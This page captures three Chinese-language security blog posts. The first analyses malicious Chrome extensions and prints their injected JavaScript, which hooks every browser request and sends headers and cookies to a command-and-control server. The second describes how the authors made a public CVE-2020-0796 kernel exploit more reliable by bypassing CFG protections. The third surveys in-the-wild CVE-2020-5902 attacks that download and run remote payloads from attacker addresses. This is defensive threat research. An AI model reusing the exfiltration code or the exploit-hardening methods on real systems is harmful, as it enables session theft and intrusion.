🔒
There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

隐藏在Chrome中的窃密者

23 October 2020 at 09:43
By: gaoya

概述

近日,有reddit用户反映,拥有100k+安装的Google Chrome扩展程序 User-Agent Switcher存在恶意点赞facebook/instagram照片的行为。

除User-Agent Switcher以外,还有另外两个扩展程序也被标记为恶意的,并从Chrome商店中下架。

目前已知受影响的扩展程序以及版本:

  • User-Agent Switcher
    • 2.0.0.9
    • 2.0.1.0
  • Nano Defender
    • 15.0.0.206
  • Nano Adblocker
    • 疑为 1.0.0.154

目前,Google已将相关扩展程序从 Web Store 中删除。Firefox插件则不受影响。

影响范围

Chrome Webstore显示的各扩展程序的安装量如下:

  • User-Agent Switcher: 100 000+
  • Nano Defender: 200 000+
  • Nano Adblocker: 100 000+

360安全大脑显示,国内已有多位用户中招。我们尚不清楚有多少人安装了受影响的扩展程序,但从国外社区反馈来看,安装相关插件的用户不在少数,考虑到安装基数,我们认为此次事件影响较为广泛,请广大Chrome用户提高警惕,对相关扩展程序进行排查,以防被恶意组织利用。

国外社区用户研究者报告了User-Agent Switcher随机点赞facebook/Instagram照片的行为,虽然我们目前还没有看到有窃取密码或远程登录的行为,但是考虑到这些插件能够收集浏览器请求头(其中也包括cookies),我们可以合理推测,攻击者是能够利用收集到的信息进行未授权登录的。为了防止更进一步危害的发生,我们在此建议受影响的Chrome用户:

  • 及时移除插件
  • 检查 Facebook/Instagram 账户是否存在来历不明的点赞行为
  • 检查账户是否存在异常登录情况
  • 修改相关账户密码
  • 登出所有浏览器会话

Timeline

  • 8月29日,User-Agent Switcher 更新 2.0.0.9 版本
  • 9月7日,User-Agent Switcher 更新 2.0.1.0 版本
  • 10月3日,Nano Defender作者jspenguin2017宣布将 Nano Defender 转交给其他开发者维护
  • 10月7日,reddit用户 ufo56 发布帖子,报告 User-Agent Switcher 的恶意行为
  • 10月15日,Nano Defender 更新 15.0.0.206 版本,同时:
    • 有开发者报告新开发者在商店中更新的 15.0.0.206 版本与repository中的代码不符(多了background/connection.js
    • uBlock开发者gorhill对新增代码进行了分析

代码分析

User-Agent Switcher

影响版本:2.0.0.9, 2.0.1.0

修改文件分析

User-Agent Switcher 2.0.0.8与2.0.0.9版本的文件结构完全相同,攻击者仅修改了其中两个文件:js/background.min.jsjs/JsonValues.min.js

三个版本文件大小有所不同
文件结构相同

background.min.js

js/background.min.js 中定义了扩展程序的后台操作。

攻击者修改的部分代码

完整代码如下所示。

// 完整代码
// 发起到 C2 的连接
var userAgent = io("https://www.useragentswitch.com/");
async function createFetch(e) {
    let t = await fetch(e.uri, e.attr),
        s = {};
    return s.headerEntries = Array.from(t.headers.entries()), 
           s.data = await t.text(), 
           s.ok = t.ok, 
           s.status = t.status, 
           s
}
// 监听“createFetch”事件
userAgent.on("createFetch", async function (e) {
    let t = await createFetch(e);
    userAgent.emit(e.callBack, t)
});
handlerAgent = function (e) {
    return -1 == e.url.indexOf("useragentswitch") && userAgent.emit("requestHeadersHandler", e), {
        requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
    }
};
// hook浏览器请求
chrome.webRequest.onBeforeSendHeaders.addListener(handlerAgent, {
    urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]);

攻击者添加的代码中定义了一个到 https://www.useragentswitch.com 的连接,并hook了浏览器的所有网络请求。当url中未包含 useragentswitch 时,将请求头编码后发送到C2。除此之外,当js代码接收到“createFetch”事件时,会调用 createFetch 函数,从参数中获取uri等发起相应请求。

由此我们推测,如果用户安装了此插件,C2通过向插件发送“createFetch”事件,使插件发起请求,完成指定任务,例如reddit用户提到的facebook/instagram点赞。攻击者能够利用此种方式来获利。

插件发起的网络请求(图片来自reddit)

在处理hook的请求头时,js代码会替换掉请求头中的 -zzz 后再发送,但我们暂时无法得知这样操作的目的是什么。

User-Agent Switcher 2.0.0.9 和 2.0.1.0 版本几乎相同,仅修改了 js/background.min.js 文件中的部分代码顺序,在此不做多述。

JsonValues.min.js

js/JsonValues.min.js 中原本为存储各UserAgent的文件。攻击者在文件后附加了大量js代码。经过分析,这些代码为混淆后的socketio客户端

攻击者添加的js代码

Nano Defender

影响版本:15.0.0.206

在Nano Defender中,攻击者同样修改了两个文件:

background/connection.js
background/core.js

其中,background/connection.js 为新增的文件,与User-Agent Switcher中的 js/JsonValues.min.js 相同,为混淆后的socketio客户端。

core.js

background/core.js 与User-Agent Switcher中的 js/background.min.js 相似,同样hook浏览器的所有请求并发送至C2(https://def.dev-nano.com/),并监听dLisfOfObject事件,发起相应请求。

background/core.js 部分修改代码

与User-Agent Switcher不同的是,在将浏览器请求转发至C2时,会使用正则过滤。过滤原则为C2返回的listOfObject,如果请求头满足全部条件,则转发完整的请求头,否则不予转发。

可以看出,攻击者对原本的转发策略进行了优化,从最初的几乎全部转发修改为过滤转发,这使得攻击者能够更为高效地获取感兴趣的信息。

同样地,core.js在发送请求头之前,会删除请求头中的-zzz字符串。只是这次core.js做了简单混淆,使用ASCII数组而非直接的-zzz字符串。

var m = [45,122,122,122]
var s = m.map( x => String.fromCharCode(x) )
var x = s.join("");
var replacerConcat = stringyFy.split(x).join(""); 
var replacer = JSON.parse(replacerConcat); 
return { 
    requestHeaders: replacer 
} 

uBlock的开发者gorhill对此代码进行了比较详细的分析,我们在此不做赘述。

Nano Adblocker

影响版本:未知

尽管有报告提到,Nano Adblocker 1.0.0.154 版本也被植入了恶意代码,但是我们并没有找到此版本的扩展程序文件以及相关资料。尽管该扩展程序已被下架,我们仍旧无法确认Google商店中的插件版本是否为受影响的版本。第三方网站显示的版本历史中的最后一次更新为2020年8月26日,版本号为1.0.0.153。

Nano Adblocker 更新历史

版本历史

由于各插件已被Google下架,我们无法从官方商店获取插件详情。根据第三方网站,User-Agent Switcher 版本历史如下:

可以看到,第一个存在恶意功能的插件版本2.0.0.9更新日期为2020年8月29日,而插件连接域名useragentswitch[.]com注册时间为2020年8月28日。

第三方网站显示的 Nano Defender 版本历史显示,攻击者在2020年10月15日在Google Web Store上更新了15.0.0.206版本,而C2域名dev-nano.com注册时间为2020年10月11日。

关联分析

我们对比了User-Agent Switcher和Nano Defender的代码。其中,js/background.js (from ua switcher)和background/core.js (from nano defender) 两个文件中存在相同的代码。

左图为ua switcher 2.0.0.9新增的部分代码,右图为nano defender新增的部分代码

可以看到,两段代码几乎完全相同,仅对变量名称、代码布局有修改。此外,两段代码对待转发请求头的操作相同:都替换了请求头中的-zzz字符串。

左图为ua switcher 2.0.0.9,右图为nano defender

由此,我们认为,两个(或三个)扩展程序的始作俑者为同一人。

Nano Defender新开发者创建了自己的项目。目前该项目以及账户(nenodevs)均已被删除,因此我们无法从GitHub主页获取到有关他们的信息。

攻击者使用的两个域名都是在插件上架前几天注册的,开启了隐私保护,并利用CDN隐藏真实IP,而他们在扩展程序中使用的C2地址 www.useragentswitch.comwww.dev-nano.com 目前均指向了namecheap的parkingpage。

图片来自360netlab

Nano Defender原作者称新开发者是来自土耳其的开发团队,但是我们没有找到更多的信息证实攻击者的身份。

小结

攻击者利用此类插件能达成的目的有很多。攻击者通过请求头中的cookie,能够获取会话信息,从而未授权登录;如果登录银行网站的会话被截取,用户资金安全将难保。就目前掌握的证据而言,攻击者仅仅利用此插件随机点赞,而没有更进一步的操作。我们无法判断是攻击者本身目的如此,或者这只是一次试验。

窃取用户隐私的浏览器插件并不罕见。早在2017年,在v2ex论坛就有用户表示,Chrome中另一个名为 User-Agent Switcher 的扩展程序可能存在未授权侵犯用户隐私的恶意行为;2018年卡巴斯基也发布了一篇关于Chrome恶意插件的报告。由于Google的审核流程并未检测到此类恶意插件,攻击者仍然可以通过类似的手法进行恶意活动。

IoCs

f45d19086281a54b6e0d539f02225e1c -> user-agent switcher 2.0.0.9
6713b49aa14d85b678dbd85e18439dd3 -> user-agent switcher 2.0.0.9
af7c24be8730a98fe72e56d2f5ae19db -> nano defender 15.0.0.206
useragentswitch.com
dev-nano.com

References

https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/
https://www.reddit.com/r/cybersecurity/comments/jeekgw/google_chrome_extension_nano_defender_marked_as/
https://github.com/jspenguin2017/Snippets/issues/5
https://github.com/NanoAdblocker/NanoCore/issues/362
https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md
https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0

CVE-2020-0796漏洞realworld场景实现改进说明

14 July 2020 at 09:51
By: gaoya

在此前跟进CVE-2020-0796的过程中,我们发现公开代码的利用稳定性比较差,经常出现蓝屏的情况,通过研究,本文分享了CVE-2020-0796漏洞实现在realworld使用过程中遇到的一些问题以及相应的解决方法。

Takeaways

  • 我们分析了exp导致系统蓝屏的原因,并尝试对其进行了改进;
  • 相对于重构前exp,重构后的exp执行效率与稳定性都有显著提高;
  • 关于漏洞原理阐述,Ricerca Security在2020年4月份发布的一篇blog中已非常清晰,有兴趣的读者可以移步阅读,本文不再赘述。

初步选择和测试公开exp可用性

测试环境:VMWare,Win10专业版1903,2G内存,2处理核心

为了测试和说明方便,我们可以将exp的执行分为3个阶段:

  1. 漏洞利用到内核shellcode代码开始执行
  2. 内核shellcode代码执行
  3. 用户层shellcode执行

根据实际情况,我们测试了chompie1337ZecOps的漏洞利用代码。根据各自项目的说明文档,两份代码初步情况如下:

  • ZecOps

ZecOps的利用代码是在单个处理器的目标计算机系统上测试的;在后续的实际测试中,发现其代码对多处理器系统的支持不足,虽然在测试环境中进行了多次测试中,系统不会产生BSOD,但漏洞无法成功利用(即exp执行第一阶段失败)。

  • chompie1337

chompie1337的代码在漏洞利用阶段则表现得十分稳定,但在内核shellcode执行时会造成系统崩溃。

因此,我们决定将chompie1337的利用代码作为主要测试对象。

内核shellcode问题定位

我们在win10 1903中测试了chompie1337的exp代码,绝大部分的崩溃原因是在漏洞利用成功后、内核shellcode代码执行(即exp执行的第二阶段)时,申请用户空间内存的API zwAllocateVirtualMemory调用失败。在我们的多次测试中,崩溃现场主要包括以下两种:

Crash_A backtrace
Crash_B backtrace

对比exp正常执行时的流程和崩溃现场,我们发现无论是哪种崩溃现场,根本原因都是在内核态申请用户态内存时,调用MiFastLockLeafPageTable时(crash_A是在MiMakeHyperRangeAccessible中调用MiFastLockLeafPageTable,crash_B在MiGetNextPageTable中调用MiFastLockLeafPageTable)函数内部出现错误,导致系统崩溃。

在遇到crash_B时,我们起初认为这是在内核态申请用户态读写权限内存时,系统复制CFG Bitmap出现的异常。CFG(Control Flow Guard,控制流防护)会检查内存申请等关键API调用者是否有效,以避免出现安全问题。

随后,我们尝试了一些CFG绕过的方法,包括替换内存申请API间接调用地址,强制修改进程CFG启动标志等,这些方法无一例外都失败了。但在尝试过程中,ZecOps在他的漏洞分析利用文章中提到的一篇文章给了我们启发。zerosum0x0这篇文章分析了cve-2019-0708漏洞内核shellcode不能稳定利用的原因,其中提到了微软针对Intel CPU漏洞的缓解措施,KVA Shadow。

我们再次详细分析了导致MiFastLockLeafPageTable调用失败的原因,发现MiFastLockLeafPageTable函数中的分页表地址(即下图中的v12)可能会无效。

我们根据KVA Shadow缓解措施原理,猜测这是本次测试exp崩溃的根本原因。内核shellcode在调用API申请用户层内存时,由于KVA Shadow对于用户层和内核层的系统服务调用陷阱,如果IRQL等级不是PASSIVE_LEVEL,无法获取到正确的用户层映射地址。

解决问题

通过参考zerosum0x0文章中修正CVE-2019-0708 payload来绕过KVA Shadow的代码,但出于时间以及系统稳定性等多方面因素,我们暂时放弃了这种方法,转而尝试通过一种更简单和容易的方式来解决这个问题。

显而易见地,如果我们能够在内核shellcode中降低系统调用中的IRQL,将其调整为PASSIVE_LEVEL,就能够解决后续shellcode执行时由于用户态内存分配出现崩溃的问题。但在公开资料的查找过程中,我们并没有找到针对win10系统的IRQL修改方法。

于是,我们从崩溃本身出发,试图对这种情况进行改进。由于内核shellcode是从DISPATCH_LEVEL的IRQL开始执行的,调用内存分配等API时,可能因为分页内存的异常访问导致崩溃,于是我们尝试避免系统访问可能崩溃的分页内存。

在重新比对分析crash_B和成功执行的利用代码时,我们发现MiCommitVadCfgBits函数中会检查进程的CFG禁用标志是否开启(下图中的MiIsProcessCfgEnabled函数)。如果能够跳过CFG的处理机制,那么就可以避免系统在内存申请过程中处理CFG位图时对可能存在问题的分页内存的访问。

进一步对MiIsProcessCfgEnabled进行分析,该标志位在进程TEB中,可以通过GS寄存器访问和修改。

我们在内核shellcode调用zwAllocateVirtualMemory API之前修改CFG标志,就可以避免大部分崩溃情况(即B类型),顺利完成用户态内存的分配。需要一提的是,win10在内存申请时,大部分系统处理过程都是针对CFG的相关处理,导致B类型崩溃产生的次数在实际测试中占比达80%以上,所以我们没有考虑A类型崩溃的情况。

参考Google Researcher Bruce Dawson有关windows创建进程性能分析的文章 <O(n^2) in CreateProcess>

实际修改shellcode遇到的问题

在修改CFG标志位解决大部分内核shellcode崩溃的问题后,我们在实际测试中又发现,该exp无法执行用户层shellcode(即exp执行第三阶段)。经过分析发现,这是由于用户层shellcode会被用户层CFG检查机制阻断(参考:https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html)。CFG阻断可以分为两种情况:一是对用户层APC起始地址代码的调用;二是用户层shellcode中对创建线程API的调用。下图的代码就是针对第二种情况的阻断机制:只有当线程地址通过CFG检查时,才会跳转到指定的shellcode执行。

这里我们采用了zerosum0x0文章中的方式:在内核shellcode中,patch CFG检查函数(ldrpvalidateusercalltarget和ldrpdispatchusercalltarget),跳过CFG检查过程来达到目的。需要注意的是,在内核态修改用户态代码前,要修改cr0寄存器来关闭代码读写保护。

另外,在patch CFG检查函数时,使用相对偏移查找相应的函数地址。由于CVE-2020-0796只影响win10 1903和1909版本,因此这种方法是可行的。但如果是其他更通用的漏洞,还需要考虑一种更加合理的方式来寻找函数地址。

最终测试

我们在win10 1903(专业版/企业版)和win10 1909(专业版/企业版)中测试了代码。经过测试,修改后的exp代码执行成功率从不到20%上升到了80%以上。但我们的修改仍然是不完美的:

  1. 本文并没有解决漏洞利用阶段可能出现的问题。尽管chompie1337的漏洞利用阶段代码已经非常完善,但仍不是100%成功。考虑到漏洞利用阶段出现崩溃的概率非常低(在我们的实际测试中,出现概率低于10%),如果系统处于流畅运行,这种概率会更小,我们的exp仍然使用了chompie1337在漏洞利用阶段的代码。
  2. 在本文中,我们尝试解决了由CFG处理机制导致的崩溃情形(即类型B的情况),没有从根本上解决内核shellcode执行阶段的崩溃。在这个阶段,shellcode仍然可能导致系统崩溃出现蓝屏,但这种概率比较低,在我们的测试中没有超过20%。
  3. 在使用本文的方式成功执行用户态shellcode之后,系统处于一种不稳定状态。如果系统中有其他重要进程频繁进行API调用,系统大概率会崩溃;如果仅通过反弹的后台shell执行命令,系统会处在一种相对稳定的状态。我们认为,对渗透测试来说,改进后的exp已经基本能够满足需求。

其他方案

除本文讨论的内容外,还可以通过内核shellcode直接写文件到启动项的方式来执行用户态代码。从理论上讲,这种方式能够避免内核shellcode在申请用户层内存时产生崩溃的问题,但对于渗透测试场景而言,该方法需要等待目标重启主机,实时性并不高,本文不在此进行具体讨论。

总结

针对网络公开的CVE-2020-0796 exp在实际使用过程中会产生崩溃的问题,本文分享了一些方法来解决这些问题,以便满足实际在渗透测试等应用场景中的需求。尽管本文的方法不尽完美,但我们希望我们的研究工作能够为诸位安全同僚提供一些思路。我们也会在后续的工作当中,持续对此进行研究,力图找到一种更简单、通用的方式解决问题。

F5 RCE(CVE-2020-5902)在野攻击事件调查

13 July 2020 at 09:26
By: gaoya

F5 Networks官方在7月1日公布了BIG-IP系统的TMUI接口中存在一个严重的远程代码执行漏洞(CVE-2020-5902)。利用此漏洞的攻击层出不穷,我们对这些事件进行了总结,以期对近日来的事件进行完整阐述。

漏洞简述

该漏洞允许未授权的远程攻击者通过向漏洞页面发送特殊构造的数据包,在系统上执行任意系统命令、创建或删除文件、禁用服务等。

根据360安全大脑测绘云(QUAKE网络空间测绘系统)数据,截至2020年7月10日,全球至少有80000台存在此漏洞的资产,具体分布如下图所示:

CVE-2020-5902漏洞分布

通过对该漏洞活跃情况研判,得到其全球态势和漏洞生命周期:

从360安全大脑的全网视野里可以看出,在7月2日漏洞利用细节公布,7月4日开始传播后,7月6日全网受影响设备居于峰值,此后由于缓解措施发布实施,漏洞活跃状态逐步回落。

时间线

  • 2020-7-1:F5 Networks官方发布通告,缓解措施为在配置文件中添加以下内容:
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
  • 7.10日, F5官方再次更新通告,配置更新为:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>

漏洞攻击情报

根据NCC groups发布的报告,7月4日就有攻击者尝试使用该漏洞进行攻击,但攻击者数量较少;360安全大脑专家云的事件调查专家也在国内观测到,在exp公布前几个小时,已经存在利用twitter上公布的poc进行扫描的流量;完整功能的exp公布后,扫描流量也随即改变。

从exp公开发布起的5天内,360就已在国内捕获到超过2万次CVE-2020-5902的扫描请求,其中绝大部分为通过推特或其他渠道公开获取的PoC或exp以及metasploit exp。可以看出,该漏洞已经引发了大量关注。截止目前我们尚未观测到国内有相关资产已经遭受攻击

尽管绝大多数扫描或攻击行为并非由专业网络攻击者发起,但他们不会错过如此的“大好机会”。仅仅在exp公开(7月5日)后不到一天的时间内,国外安全研究员发现已经开始有攻击者成功地利用漏洞进行攻击。

攻击手段

根据我们的观察分析,目前攻击手段主要包括以下几种。

利用cve-2020-5902,下发脚本,下载远程payload执行

我们分析推测,恶意脚本通过fileSave.jsp接口上传到tmp目录,之后利用tmshCmd.jsp接口执行。从手法上来看,此类攻击极有可能是利用msf相关模块进行的。

  • Payload地址:http://217.12[.]199[.]179/b.sh

脚本下发时间:2020年7月6日

脚本内容

脚本功能

创建crontab(即linux系统的计划任务),从远程地址http://217.12.199[.]179/b.sh获取脚本并执行;该脚本为b.sh的复制,我们推测此任务是为后续脚本下发做准备。

  • Payload地址:http://45.77.28[.]70[:]80/inf5.sh

脚本下发时间:2020年7月6日

脚本内容

(图片来自NCC group)
inf5.sh

脚本功能

使用curl命令,从地址http://45.77.28[.]70[:]80/inf5.sh下载脚本执行。

inf5.sh是一个安装脚本,用来在/etc/init.d目录下创建文件network2,释放脚本/etc/.modules/.tmp,并将network2加入开机启动项,最后执行.tmp脚本;network2文件内容即为启动.tmp。

.tmp脚本是一个downloader,用来从目标地址下载demo.txt到/tmp/dvrHelper并执行。dvrHelper是开源的botnet Mirai修改的一个变种。

  • Payload地址:http://103.224.82[.]85[:]8000/zabbix

脚本下发时间:2020年7月6日

脚本内容

(图片来自NCC Group)

脚本功能

从地址http://103.224.82[.]85[:]8000/zabbix下载到/var/log/F5-logcheck,使用touch命令修改时间戳,将/var/log/F5-logcheck加入rc.local开机脚本中并执行。分析时,目标地址已不可用,但根据国外研究人员获取到的信息,该样本是一个go语言编写的agent和控制器GoMet。

利用cve-2020-5902,通过命令或脚本下发php webshell

除了下发脚本执行以外,有的攻击者选择上传webshell以便获取持续的权限。(详见 RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence

cve-2020-5902结合hsqldb Java反序列化漏洞执行命令

2020年7月7日,有研究人员发现hsqldb 中存在java反序列化漏洞,并结合该漏洞实现了一种新的利用方式。在此利用方式发现后的短时间内,有攻击者利用此方式发起了攻击,并且利用相似的方式绕过了F5 Networks官方通告中的缓解措施;而6小时后,才有研究人员公开宣布,缓解措施可被绕过。由此可见,在利用CVE-2020-5902进行攻击的人员中,不乏较高能力的攻击者。

攻击者关联

我们对网络上公布的攻击事件进行了进一步的分析。在直接利用cve-2020-5902下发的脚本和webshell中,我们认为其中至少三个(payload为inf5.sh和zabbix的脚本,以及bg_status.php)是来自同一攻击者/攻击组织

虽然两个脚本内容和功能完全不同,但我们在对inf5.sh脚本进行关联分析时,发现了一个新的脚本(dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c),该脚本在目标主机中释放了新的payload,并清除了上一阶段释放的文件,其中包括/var/log/F5-logchec*,/etc/init.d/network,/tmp/dvrHelper以及bg_status.php。

清除文件

另外,攻击者在释放新的payload时,使用了与创建webshell相同的手段,即”echo [base64 encoded content] | base64 –d > [file]”。因此,结合之前清除的文件名信息,如果该脚本确实来自攻击者,那么可以认为,这些不同的payload是由同一个攻击者在不同时间植入目标系统的。

base64解码释放payload

在对inf5.sh分析时,我们还关联到了另外的IP:45.249.92[.]59。该IP在5月初-6月间被使用;我们分析了相关样本和脚本后认为,这是在45.77.28[.]70之前被用于存放文件的服务器IP,现已关闭。

通过进一步的分析我们发现,该攻击者/攻击组织并非“单线程”攻击:他们还使用相同的手法,利用TOTOLINK路由器的远程代码执行漏洞对IoT设备进行攻击,相关payload同样位于服务器45.77.28[.]70上。

从这些行为来看,我们认为,这些攻击背后是一个攻击组织而非个人,主要通过漏洞利用方式入侵linux或IoT设备,目的即为构建僵尸网络以满足其利益需求。

小结

根据现有的攻击行为来看,攻击者发起的主要是无差别攻击,通过漏洞对目标系统实施控制,即试图将存在漏洞的系统作为其僵尸网络的一部分,以获取利益。还有一部分攻击者将webshell上传到存在漏洞的系统,来获取进一步的控制。

虽然我们暂未得知是否有更严重的攻击事件出现,但可以推测,攻击者能够通过漏洞上传任意文件、执行任意系统命令,那么,他们同时也具备了窃取敏感信息、文件加密勒索甚至破坏系统的能力。在cve-2020-5902影响如此广泛,并且引起众多攻击者/攻击组织关注的情况下,我们只能推测,这些事件的发生是迟早的,该漏洞的严重程度不可小觑。

尽管F5 Networks在其通告中给出了临时缓解措施并且在不断更新,我们仍然建议将系统版本升级至不受影响的版本(如15.1.0.4),以避免由于新的绕过技术出现导致现有的缓解措施失效,给网络系统带来不必要的损失。

IoCs

HASH
bfa96a2ddb39a5e81e32a275aa6fc134030279ddde6c116d41945142328465ab
dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c

IP
45.249.92.59
45.249.92.60

URL
http[:]//217.12.199.179/b.sh
http[:]//45.77.28.70:80/inf5.sh
http[:]//103.224.82.85:8000/zabbix

参考链接

[1] https://support.f5.com/csp/article/K52145254

[2] https://twitter.com/x4ce/status/1279790599793545216

[3] https://twitter.com/TeamAresSec/status/1280590730684256258

[4] https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/

[5] https://twitter.com/joaomatosf/status/1279566951442976768

[6] https://twitter.com/buffaloverflow/status/1280258870942760963

[7] https://twitter.com/TeamAresSec/status/1280553293320781825

[8] https://twitter.com/bad_packets/status/1279611256547143680

  • There are no more articles
❌